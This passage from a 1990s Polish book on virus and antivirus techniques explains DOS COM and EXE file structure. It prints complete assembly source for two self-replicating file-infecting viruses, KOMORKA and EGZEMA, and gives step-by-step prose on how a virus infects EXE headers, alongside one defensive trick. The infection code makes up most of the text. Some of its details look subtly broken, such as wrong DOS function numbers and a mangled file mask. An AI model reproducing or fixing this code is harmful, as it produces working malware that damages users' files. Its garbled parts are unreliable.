Kod wirusa
Przesunięty kod zainfekowanego programu
Poniżej przedstawiono przykład prostego, nierezydentncgo wirusa infekującego pliki
COM.

;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;

;
; KOMORKA v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Prosty wirus nierezydentny plikow COM
;
; Infekuje pliki z atrybutem Archive, ReadOnly,
System, Hidden ;
; znajdujace sie w biezacym katalogu
;
;
;
; Kompilacja :
;
; TASM KOMORKA.ASM
;
; TLINK /t KOMORKA.OBJ
;
;
;
;----------------------------------------------------------------
------------;
KOMORKA SEGMENT
JUMPS
ASSUME CS:KOMORKA, DS:KOMORKA

ORG 100h

NUL = 00h ; \
LF = 0Ah ; \ stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /

Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden +
AtrVolumeID
; atrybut poszukiwanej
pozycji
; katalogu

VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa

VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz
zainfekowane

VDzien = 31 ; /

VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien

DTAStruc struc ; struktura DTA bufora
transmisji
; dyskowych uzywanych
przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej
pozycji
DTATime dw ? ; czas znalezionej
pozycji
DTADate dw ? ; data znalezionej
pozycji
DTASize dd ? ; dlugosc znalezionej
pozycji
DTAName db 13 dup (?) ; nazwa znalezionej
pozycji
DTAStruc ends

Start: ; tu zaczyna sie
program ofiary

db 0E9h,00h,00h ; symuluj rozkaz JMP
NEAR
; bedacy czescia
zarazonego
; programu

VirusStart: ; tu zaczyna sie kod
wirusa

mov si,word ptr ds:[101h] ; pobierz relatywny
ofset do miejsca
; w pamieci, gdzie
znajduje sie wirus
; wartosc ta to czesc
rozkazu JMP NEAR
; na poczatku, przy
pierwszym wywolaniu
; =0000h

mov al,byte ptr ds:[si+StareBajty] ; \ Przywroc
zapamietane 3 bajty
mov ds:[100h],al ; \ na poczatek
programu CS:100h
mov ax,word ptr ds:[si+StareBajty+1] ; / Podczas
pierwszego uruchomienia
mov ds:[101h],ax ; / jest to kod Int
20h

lea dx,[si][TeInformacja] ; podaj gdzie jest
tekst
Call Informacja ; spytaj o
uruchomienie wirusa

jnc Infekcja ; CF=1 oznacza nie
uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj

Infekcja:
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie
nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw
nowe DTA
int 21h ; wywolaj funkcje DOS

lea dx,[si][MaskaCOM] ; maska poszukiwanych
plikow '*.COM'
mov cx,Atrybut ; podaj atrybut
poszukiwanej pozycii
mov ah,4Bh ; funkcja DOS - szukaj
pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc NieMaPlikuCOM ; gdy CF=1, to blad

KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik
jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj
nastepnego

mov ax,word ptr [si][NoweDTA.DTASize+2]
; pobierz starsza
czesc dlugosci
; pliku
or ax,ax ; czy plik krotszy niz
65536
jnz SzukajNastepnyPlik ; nie - szukaj
nastepnego

mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc
pliku
cmp ax,64000 ; czy dlugosc <= 64000
ja SzukajNastepnyPlik ; nie - szukaj
nastepnego

cmp ax,3 ; czy dlugosc >= 3
jb SzukajNastepnyPlik ; nie - szukaj
nastepnego

sub ax,3 ; odejmij dlugosc
skoku E9 ?? ??
mov word ptr [si][Skok+1],ax ; zapisz do bufora
rozkaz skoku

mov cx,AtrArchive ; podaj nowy atrybut :
Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do
zmiany
mov ax,4301h ; funkcja DOS - zmien
atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1 to blad

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do
odczytu
mov ax,3D02h ; funkcja DOS - otworz
plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad

xchg ax,bx ; przenies uchwyt
pliku do BX

mov cx,3 ; ilosc czytanych
bajtow
lea dx,[si+StareBajty] ; podaj dokad czytac 3
bajty
mov ah,3Fh ; funkcja DOS - czytaj
z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov ax,word ptr [si+StareBajty] ; wez dwa pierwsze
bajty pliku
cmp ax,'MZ' ; i sprawdz czy to nie
EXE
je ZamknijPlik ; gdy 'MZ', to plik
EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy 'ZM', to plik
EXE, powrot

xor cx,cx ; \ zeruj CX:DX
zawierajace
xor dx,dx ; / adres wzgledem
konca pliku
mov ax,4202h ; funkcja DOS - zmien
wskaznik
; odczytu/zapisu na
koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,VirusDlug ; ilosc zapisanych
bajtow
lea dx,[si+103h] ; podaj skad zapisac
wirusa
mov ah,30h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

xor cx,cx ; \ zeruj CX:DX
zawierajace
xor dx,dx ; / adres wzgledem
poczatku pliku
mov ax,4200h ; funkcja DOS - zmien
wskaznik
; odczytu/zapisu na
poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,3 ; ilosc zapisanych
bajtow
lea dx,[si][Skok] ; podaj skad zapisac
rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,[si][NoweDTA.DTATime] ; przywroc czas z
bufora DTA
mov dx,VZnacznik ; zaznacz infekcje
pliku
mov ax,5701h ; funkcja DOS - wpisz
date,czas
int 21h ; wywolaj funkcje DOS

ZamknijPlik:
mov ah,3Eh ; funkcja DOS -
zamknij plik
int 21h ; wywolaj funkcje DOS

PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut,
CH=0
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do
zmiany
mov ax,4301h ; funkcja DOS - zmien
atrybut
int 21h

SzukajNastepnyPlik: ; poprzedni plik byl
zarazony

mov ah,4Fh ; funkcja DOS - szukaj
innego
; plik COM
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad

NieMaPlikuCOM:
mov dx,80h ; przywroc pierwotne
DTA=PSP:80h
mov ah,1Ah ; funkcja DOS - ustaw
nowe DTA
int 21h ; wywolaj funkcje DOS

BezInfekcji:
mov ax,100h ; \ skocz na poczatek
programu
jmp ax ; / do ofiary

MaskaCOM db '*.COM' ; maska plikow COM
(ASCIIZ)
StareBajty db 0CDh,20h,90h ; bufor zawiera
zapamietane bajty
; z poczatku programu
; tu : kod rozkazu int
20h/NOP

Skok db 0E9h,?,? ; rozkaz skoku

; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS -
wyswietl tekst$
int 21h ; wywolaj funkcje DOS

mov ah,01h ; funkcja DOS - czytaj
znak
; ze standardowego
wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile
znak

mov ax,0E0Dh ; \ przejdz
int 10h ; \ do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii

pop ax ; przywroc znak

and al,11011111b ; konwertuj znak na
wielka litere
cmp al,'T' ; czy potwierdzona

infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i
powrot
CLCRet:
ret ; powrot

TeInformacja db CR,LF,'KOMORKA v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR

VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>

KOMORKA ENDS
END Start

4.1.2. Pliki wykonywalne EXE

Poprzednio omówione pliki COM przeważały w początkowym okresie istnienia systemu
DOS, lecz szybko zostały wyparte przez pliki EXE, które oferowały możliwość pisania
programów mieszczących się w kilku segmentach.
Zarażanie plików EXE jest sprawą o wiele trudniejszą od infekcji plików COM ze
względu na ich bardziej skomplikowaną budowę, a także na konieczność wykrywania
systemu, dla którego plik jest przeznaczony. Pliki EXE dzielą się bowiem na tzw. stare
(ang. old executab-les) i nowe (ang. new executables). Pierwsze z nich przeznaczone
są tylko i wyłącznie dla systemu DOS, natomiast drugie to programy działające w
środowiskach wykorzystujących tryb chroniony. Jak pokazano dalej, na podstawie
danych zawartych w pliku EXE można wykryć system, dla którego jest on przeznaczony
i w rezultacie plik taki zainfekować.

4.1.2.1. Pliki EXE dla systemu DOS (stare EXE)

Jak już wspomniano, pliki COM mogły zawierać w swym wnętrzu tylko jeden segment,
wspólny dla kodu, danych i stosu. W przeciwieństwie do nich pliki EXE mogą zawierać
programy, których rozmiary ograniczone są tylko przez wielkość dostępnej aktualnie
pamięci operacyjnej, znajdującej się poniżej pierwszych 640kB. Najczęściej w
programach tych jest kilka segmentów kodu i danych, a także
osobny segment stosu. Ze względu na bardziej skomplikowaną strukturę, do
załadowania programów EXE system DOS potrzebuje więcei informacji, niż w
przypadku plików COM. Informacje zawarte są w istniejącym na początku każdego pliku
EXE nagłówku, który składa sie z dwóch części: sformatowanej i niesformatowanej.
Długość sformatowanej części nagłówka jest stała i wynosi 27 bajtów, natomiast długość
części niesformatowanej oblicza się na podstawie danych zawartych w nagłówku
sformatowanym. W skrajnym przypadku długość części niesrormatowanej może być
równa O, co często ma miejsce, gdy programy są wewnętrznie skompresowane i
zminimalizowane. Opis sformatowanej części nagłówka podano poniżej.
Sformatowany nagłówek pliku EXE

00-01

Znacznik pliku EXE. MZ lub ZM

02-03

Liczba bajtów na ostatniej, 512
bajtowej, stronie programu, W praktyce
oznacza, ile bajtów system DOS musi
skopiować z ostatniego sektora
zajmowanego przez program.

04-05

Długość całego pliku EXE, podana w 512-
bajtowych stronach z uwzględnieniem
nagłówka i ostatniej strony opisanej w
polach 02h-03h. W praktyce oznacza ilość
sektorów zajmowanych przez program,

06-07

Liczba elementów relokowalnych w
programie, czyli liczba 4-bajtowych
rekordów, znajdujących siew
niesformatowanej części nagłówka,
opisujących miejsca w kodzie programu
(jako segment: przesunięcie; w każdym
rekordzie przesunięcie znajduje się przed
segmentem), gdzie należy dodać segment,
pod który ładowany jest program

08-09

Długość nagłówka w 16-bajtowych
paragrafach

0A-0B

Minimalna wymagana pamięć poza
załadowanym kodem programu, podana w
16-bajtowych paragrafach

0C-0D

Maksymalna wymagana pamięć poza
załadowanym kodem programu, podana w
16-bajtowych paragrafach

0E-0F

Początkowa wartość rejestru
segmentowego stosu (SS) względem
początku programu.

10-11

Początkowa wartość wskaźnika stosu (SP)

12-13

Suma kontrolna (zanegowana suma
wszystkich bajtów w pliku), nie używana
przez DOS, stąd pole to może posłużyć
jako wskaźnik zainfekowania pliku

14-15

Początkowa wartość licznika rozkazów IP

16-17

Początkowa wartość rejestru segmentu
kodu CS względem początku programu.

18-19

Adres pierwszej pozycji tablicy relokacji w
stosunku do początku pliku. Jeżeli pole jest
równe 40h lub więcej, jest to
prawdopodobnie nowy plik EXE

1A-1B

Numer nakładki

Informacje zawarte w nagłówku pliku EXE zawierają wymagania programu dotyczące

pamięci operacyjnej oraz ustalają początkowe wartości rejestrów SS i SP,
odpowiedzialnych za stos, a także rejestrów CS i IP, wskazujących na pierwszą
instrukcję programu.
Dopiero po nagłówkach pojawia się właściwy kod programu, a za nim, na końcu
niektórych plików EXE przeznaczonych dla systemu DOS, znajduje się często tzw.
wewnętrzna nakładka (ang. internal overlay), zawierająca dodatkowe dane lub kod
programu. Wykorzystując fakt, iż znakomita większość istniejących wirusów nie zaraża
plików EXE z wewnętrznymi nakładkami, można dość prosto zabezpieczyć wszystkie
pliki EXE na dysku przed ewentualną infekcją. Wystarczy na końcu każdego z tych
plików dopisać jeden dowolny bajt, który przez większość wirusów będzie uznawany za
wewnętrzną nakładkę.
Dopiero po odczytaniu i zinterpretowaniu danych z nagłówka system może przystąpić do
ładowania właściwego programu, zawartego w pliku EXE, który umieszczany jest
bezpośrednio za blokiem PSP. Z powyższego wynika, iż w przeciwieństwie do programu
COM obraz programu EXE wygląda inaczej w pamięci niż na dysku.
Po wczytaniu programu do wartości początkowych rejestrów CS i SS (zawartych w
nagłówku sformatowanym) dodawany jest adres segmentu, pod który został on
załadowany. Adres tego segmentu służy także do zmodyfikowania pewnych instrukcji w
programie, które są zależne od jego faktycznego umiejscowienia w pamięci operacyjnej
(są to np. rozkazy wywołań dalekich procedur i skoków oraz operacje na segmentach
występujących w programie). Adresy w pamięci, które trzeba w ten sposób
zmodyfikować, zawarte są w tablicy relokacji.
Pierwszą czynnością wykonywaną przez wirusa powinno być odczytanie
sformatowanego nagłówka pliku potencjalnej ofiary i porównanie dwóch pierwszych
bajtów programu (znacznik z pola 00h-0lh) z sekwencją 'MZ' lub 'ZM'. Jeżeli porównanie
wypadło pomyślnie, istnieje duża szansa, iż jest to plik typu EXE i można go spróbować
zainfekować. Drugą czynnością wykonywaną przez wirusa powinno być sprawdzenie,
czy plik EXE jest programem przeznaczonym dla systemu DOS. Na pozycji 18h-19h w
nagłówku widnieje wtedy wartość mniejsza od 40h, w przeciwnym wypadku jest to
prawdopodobnie nowy EXE. Kolejnym krokiem wykonywanym przez wirusa powinno
być sprawdzenie, czy plik EXE nie zawiera wewnętrznej nakładki. Dokonuje się tego
poprzez porównanie długości całego pliku EXE (widzianej przez DOS) z długością
obliczaną na podstawie pól zawartych w nagłówku (pola 02h-03h i U4h-05h). Jeżeli
wartości te różnią się od siebie, plik zawiera nakładkę. Taki plik także można
zainfekować, jednak wiąże się to z koniecznością przesunięcia w nim całej nakładki o
długość wirusa, tak aby ten mógł umieścić swój kod bezpośrednio za obrazem
ładowanym przez DOS do pamięci. Podczas uruchamiania programu EXE nakładka nie
jest ładowana do pamięci bezpośrednio z programem, tak więc gdyby wirus znajdował
się w pliku bezpośrednio za nią, także nie zostałby załadowany i w efekcie program by
się zawieszał. Zarażone programy z wewnętrzną nakładką często nie będą działały
poprawnie, zwłaszcza jeśli korzystając z nakładki nie obliczają adresów w pliku na
bieżąco (tzn. na podstawie pól nagłówka), lecz korzystają z wartości stałych. Powyższe
problemy sprawiają, iż większość wirusów zaprzestaje infekcji po wykryciu, iż plik EXE
zawiera nakładkę i dzięki temu można zastosować opisaną wcześniej sztuczkę z 1-
bajtową pseudonakładką. Infekcja pliku EXE bez wewnętrznej nakładki polega na
odpowiedniej modyfikacji sformatowanej części nagłówka, tak by początkowe wartości
rejestrów CS:IP (zawartych w polach 16h-17h i 14h-15h w nagłówku) wskazywały na

wirusa, który zwykle dopisywany jest na końcu pliku. Najczęściej zmieniane są także
początkowe wartości SS i SP (pola 10-llh i 0Eh-0Fh w nagłówku), ażeby nie okazało się,
iż po uruchomieniu stos ustawiony jest na kod wirusa. Warto także zmodyfikować
parametry minimalnej i maksymalnej pamięci wymaganej przez program, tak aby
uwzględniały długość kodu wirusa. Prawdziwe wartości zmienianych parametrów trzeba
wcześniej zapamiętać, żeby wirus po uruchomieniu mógł przekazać sterowanie do
oryginalnego programu.
Inny sposób na przejęcie kontroli nad zainfekowanym programem po jego uruchomieniu
polega na odnalezieniu w pliku zawierającym jego kod (np. przy pomocy łatwo dostępnej
tablicy relokacji) wywołań dalekich procedur (najczęściej będących funkcjami
bibliotecznymi) o 5 bajtowym kodzie 9A OO OO SS SS, gdzie SSSS:OOOO oznacza
adres, pod którym znajduje się wywoływana procedura (SS SS oznacza segment, a OO
OO - przesunięcie). Inicjując program, DOS dodaje do ustalonej, zawartej w pliku
wartości SS SS adres, pod który został załadowany program. Zmieniając w pliku
wartość SS SS:OO OO tak, by wskazywał on na wirusa, można ominąć konieczność
modyfikacji pól 16h-17h i 14h-15h w nagłówku i przy okazji utrudnić odnalezienie wirusa
w pliku. Tego typu wirus uruchomi się dopiero po próbie wywołania dalekiej procedury,
co może zdarzyć się w dowolnym momencie programu (a nie od razu na początku).
Typowy wygląd starego pliku EXE przed i po infekcji przedstawiony został w poniższych
tabelach.

Struktura niezainfekowanego pliku EXE
Zawartość pliku
Sformatowany nagłówek pliku EXE zaczynający się literami 'MZ' lub 'ZM'
Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś
dane, np. nazwisko autora, nazwę programu
Właściwy kod programu
Ewentualna nakładka

Struktura zainfekowanego pliku EXE
Zawartość pliku
Sformatowany nagłówek pliku EXE zaczynający się literami ‘MZ’ lub ‘ZM' z
wprowadzonymi przez wirusa zmianami
Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś
dane, np. nazwisko autora, nazwę programu
Właściwy kod programu
Kod wirusa
Ewentualna nakładka; występuje bardzo rzadko, gdyż większość wirusów nie zaraża
plików z wewnętrznymi nakładkami

Ponizej przedstawiono przyklad prostego nierezydetnego wirusa infekujacego pliki EXE.

;----------------------------------------------------------------
------------;
;
;

; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; EGZEMA v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Prosty wirus nierezydentny plikow EXE
;
; Infekuje pliki z atrybutem Archive, ReadOnly,
System, Hidden ;
; znajdujace sie w biezacym katalogu
;
;
;
; Kompilacja :
;
; TASM EGZEMA.ASM
;
; TLINK EGZEMA.OBJ
;
;
;
;----------------------------------------------------------------
------------;
EGZEMA SEGMENT
JUMPS
ASSUME CS:EGZEMA, DS:EGZEMA

NUL = 00h ; \
LF = 0Ah ; \ stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /

Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden +
AtrDirectory
; atrybut poszukiwanej
pozycji
; katalogu

VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa

VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz

zainfekowane
VDzien = 31 ; /

VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien

VirusStart: ; tu zaczyna sie kod
wirusa

Call Trik ; \
Trik: ; \
pop si ; / oblicz relatywny
ofset
sub si,3 ; /

push cs ; \ DS=CS=kod wirusa
pop ds ; /

mov ax,es ; \ es=PSP+10h
add ax,10h ; /

add [si][StarySS],ax ; \
push [si][StarySS] ; - zachowaj wartosci
stosu
push [si][StarySP] ; / dla nosiciela

add ax,[si][StaryCS] ; \
mov [si][SkokCS],ax ; \ utworz pelny
rozkaz skoku
mov ax,[si][StaryIP] ; / do nosiciela
mov [si][SkokIP],ax ; /

lea dx,[si][TeInformacja] ; podaj gdzie jest
tekst
Call Informacja ; spytaj o
uruchomienie wirusa

jnc Infekcja ; CF=1 oznacza nie
uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj

Infekcja:
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie
nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw
nowe DTA
int 21h ; wywolaj funkcje DOS

lea dx,[si][MaskaEXE] ; maska poszukiwanych
plikow '*.EXE'
mov cx,Atrybut ; podaj atrybut
poszukiwanej pozycii
mov ah,4Eh ; funkcja DOS - szukaj
pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc BezInfekcji ; gdy CF=1, to blad

KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik
jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj
nastepny

cmp word ptr [si][NoweDTA.DTASize],26; czy dlugosc>=26
bajtow ?
jb SzukajNastepnyPlik ; nie = szukaj
nastepny

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do
odczytu
mov ax,3D02h ; funkcja DOS - otworz
plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad

xchg ax,bx ; przenies uchwyt
pliku do BX

mov cx,26 ; ilosc czytanych
bajtow
lea dx,[si][Naglowek] ; podaj dokad czytac
26 bajty
mov ah,3Fh ; funkcja DOS - czytaj
z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov ax,word ptr [si][Naglowek] ; wez dwa pierwsze
bajty pliku
cmp ax,'mz' ; i sprawdz, czy to
EXE
je JestEXE ; gdy 'MZ', to plik
EXE
cmp ax,'zm' ;
jne ZamknijPlik ; gdy 'ZM', to plik
EXE

JestEXE:
cmp word ptr [si][Naglowek+18h],40h ; czy plik Nowy EXE ?
; (pominiete zostana
takze
; niektore pliki EXE
z ustawionym
; adresem tablicy
relokacji > 40h)
jae ZamknijPlik ; TAK - szukaj
nastepny

mov ax,word ptr [si][Naglowek+14h] ; \ zachowaj stare CS
i IP
mov [si][StaryIP],ax ; \ z pliku
mov ax,word ptr [si][Naglowek+16h] ; /
mov [si][StaryCS],ax ; /
mov ax,word ptr [si][Naglowek+10h] ; \ zachowaj stare SS
i SP
mov [si][StarySP],ax ; \ z pliku
mov ax,word ptr [si][Naglowek+0Eh] ; /
mov [si][StarySS],ax ; /

mov ax,word ptr [si][Naglowek+08h] ; \ wez dlugosc
naglowka w
mov cx,16 ; - paragrafach i
oblicz
mul cx ; / jego dlugosc w
bajtach
mov bp,ax ; \ zachowaj dlugosc
na pozniej
mov di,dx ; /

mov ax,word ptr [si][Naglowek+04h] ; wez ilosc stron
cmp word ptr [si][Naglowek+02h],0 ; czy ilosc bajtow na

ostatniej stronie=0
jz NieZmniejszaj ; TAK - nie zmniejszaj
ilosci stron
cmp ax,0 ; czy ilosc stron=0 ?
jz NieZmniejszaj ; TAK - nie zmniejszaj
ilosci stron
dec ax ; NIE zmniejsz ilsoc
stron o jedna
NieZmniejszaj:
mov word ptr [si][Naglowek+04h],ax ; zapisz na pozniej

mov cx,512 ; wez dlugosc obrazu
programu w stronach
mul cx ; i oblicz jego
dlugosc w bajtach
add ax,word ptr [si][Naglowek+02h] ; dodaj ilosc bajtow
na ostatniej stronie
adc dx,0 ; dodaj ewentualne
przeniesienie

cmp ax,word ptr [si][NoweDTA.DTASize]
; \ czy rozmiar
obrazu z naglowka
jne ZamknijPlik ; \ jest rowny
dlugosci pliku ?
cmp dx,word ptr [si][NoweDTA.DTASize+2]
; / TAK - infekuj
jne ZamknijPlik ; / NIE -
prawdopodobnie nakladka

sub ax,bp ; \ odejmij od
dlugosci pliku
sbb dx,di ; / dlugosc naglowka
; ax,dx=dlugosc kodu
programu
mov cx,16 ; oblicz nowe CS i SP
div cx ; dla programu

mov word ptr [si][Naglowek+14h],dx ; zachowaj nowe IP
mov word ptr [si][Naglowek+16h],ax ; zachowaj nowe CS
add dx,100h+VirusDlug ; stos bedzie za
wirusem
and dl,11111110b ; SP - najczesciej
jest parzysty
mov word ptr [si][Naglowek+10h],dx ; zachowaj nowe SP
mov word ptr [si][Naglowek+0Eh],ax ; zachowaj nowe SS

mov ax,word ptr [si][Naglowek+02h] ; \
add ax,VirusDlug ; \
cwd ; \
mov cx,512 ; \
div cx ; \
add word ptr [si][Naglowek+04h],ax ; - zmien dlugosc
obrazu

mov word ptr [si][Naglowek+02h],dx ; / w naglowku
pliku EXE
or dx,dx ; /
jz NieDodawaj ; /
inc word ptr [si][Naglowek+04h] ; /
NieDodawaj: ; /

mov cx,VirusDlug ; ilosc zapisywanych
bajtow
mov dx,si ; podaj skad zapisac
wirusa
mov ah,30h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,26 ; ilosc zapisywanych
bajtow
lea dx,[si][Naglowek] ; podaj skad zapisac
nowy naglowek
mov ah,30h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,[si][NoweDTA.DTATime] ; przywroc czas z
bufora DTA
mov dx,VZnacznik ; zaznacz infekcje
pliku
mov ax,5701h ; funkcja DOS - wpisz
date, czas

int 21h ; wywolaj funkcje DOS

ZamknijPlik:
mov ah,3Eh ; funkcja DOS -
zamknij plik
int 21h ; wywolaj funkcje DOS

PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut
mov ch,0 ; CX=CL
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do
zmiany
mov ax,4301h ; funkcja DOS - zmien
atrybut
int 21h

SzukajNastepnyPlik: ; poprzedni plik byl
zarazony
mov ah,4Fh ; funkcja DOS - szukaj
innego
; pliku EXE
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad

BezInfekcji:
push es ; \ es=ds=PSP
pop ds ; /

mov dx,80h ; przywroc pierwotne
DTA=PSP:80h
mov ah,1Ah ; funkcja DOS - ustaw
nowe DTA
int 21h ; wywolaj funkcje DOS

pop ax ; \ zdejmij ze stosu
wartosci
pop dx ; / SS i SP nosiciela
mov ss,dx ; \ i umiesc te
wartosci w
mov sp,ax ; / SS i SP

db 0EAh ; powroc do nosiciela
SkokIP dw ? ; \ czesc skoku JMP
FAR
SkokCS dw ? ; /

MaskaEXE db '*.EGZE' ; maska plikow EXE
(ASCIIZ)
Naglowek db 26 dup(?) ; bufor zawiera
zapamietane bajty
; z poczatku programu
; tu : kod rozkazu int
20h/NOP
; Czesc Informayjna

Informacja:
mov ah,09h ; funkcja DOS -
wyswietl tekst$
int 21h ; wywolaj funkcje DOS

mov ah,01h ; funkcja DOS - czytaj
znak
; ze standardowego
wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile
znak

mov ax,0E0Dh ; \ przejdz
int 10h ; \ do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii

pop ax ; przywroc znak

and al,11011111b ; konwertuj znak na
wielka litere
cmp al,'T' ; czy potwierdzona
infekcja ?
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i
powrot
CLCRet:
ret ; powrot

TeInformacja db CR,LF,'EGZEMA v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR

StaryCS dw 0
StaryIP dw offset Nosiciel
StarySS dw 0
StarySP dw offset Nosiciel+100h

VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
Nosiciel:
mov ax,4C00h
int 21h
EGZEMA ENDS
END VirusStart

4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE)

Duża część istniejących obecnie plików EXE to tzw. nowe EXE. Mają one inną budowę

niż pliki przeznaczone dla systemu DOS. Na ich początku znajduje się krótki programik
działający w systemie DOS, tzw. STUB, mający za zadanie bądź wyświetlenie
komunikatu, iż plik zawiera program nie działający w systemie DOS, bądź też próbę
uruchomienia zawartego w pliku właściwego programu dla trybu chronionego pod
kontrolą odpowiedniego dla niego środowiska, najczęściej używającego trybu
chronionego, np. WINDOWS, DOS4GW. Nawiasem mówiąc, fakt istnienia programu
STUB stwarza możliwość napisania programu działającego równocześnie pod dwoma
systemami, np. pod DOS i WIN-DOWS. To, który z programów byłby wykonywany
byłoby zależne od systemu, pod którym byśmy aktualnie pracowali. Program dla DOS-a
pełniłby tu rolę programu STUB.
Po programie STUB znajduje się właściwy program przeznaczony dla trybu
chronionego, posiadający, podobnie jak programy dla DOS, odpowiednio sformatowany
nagłówek. Różne systemy mają różną strukturę tego nagłówka, tak więc infekcja takich
programów jest o wiele trudniejsza niż w przypadku plików przeznaczonych dla DOS.
Komplikacje przy pisaniu wirusów infekujących takie pliki wynikają także ze znacznych
różnic, jakie występują pomiędzy trybem chronionym, dla którego są one przeznaczone,
a trybem rzeczywistym, używanym przez DOS. Potencjalny twórca takiego wirusa musi
uwzględniać przy jego programowaniu podstawowe cechy systemów wielozadaniowych:
podział i ochronę zasobów, fakt stronicowania pamięci, połączonego z wymiataniem nie
używanych obszarów pamięci na dysk (ang. swapping} oraz podział programu na
oddzielne bloki danych, kodu i stosu, posiadających odpowiednie prawa dostępu,
zawarte w deskryptorach. Można powiedzieć, iż bez dobrej znajomości trybu
chronionego napisanie wirusa dla nowych EXE jest niemożliwe. Dowód na to stanowi
stosunkowo mała liczba wirusów pisanych pod systemy Windows 3.l, Windows 95 czy
OS/2 (inną ważną przyczyną tego stanu rzeczy jest utrudniony dostęp do dokładnych
informacji o tych systemach).
Infekując pliki nowe EXE (za pomocą opisanej w poprzednim rozdziale metody) musimy
na początku sprawdzić, czy rzeczywiście jest to plik tego typu. Porównujemy dwa
pierwsze bajty pliku z sekwencją 'MZ' lub 'ZM' (na tym etapie nie jest ważne, dla jakiego
systemu przeznaczony jest plik). Następnie, jeżeli porównanie wypadło pomyślnie,
należy sprawdzić, czy na pozycji 18h-19h w nagłówku starego EXE znajduje się wartość
40h lub większa. Jeśli tak, to należy spróbować odczytać ewentualny nagłówek nowego
EXE, w którym znajduje się odpowiedni znacznik (dwa znaki ASCII) informujący o
systemie, dla którego program jest przeznaczony. Typowe znaczniki zawarto w
poniższej tabeli.

Znaczniki rozszerzonego nagłówka nowych plików EXE
Znacznik

Docelowy system

Windows lub OS/2 1.x, z podziałem na segmenty

Windows virtual device driver (VxD) z liniowym adresowaniem (Linear
Executable)

Wariant LE, używany przez OS/2 2.x

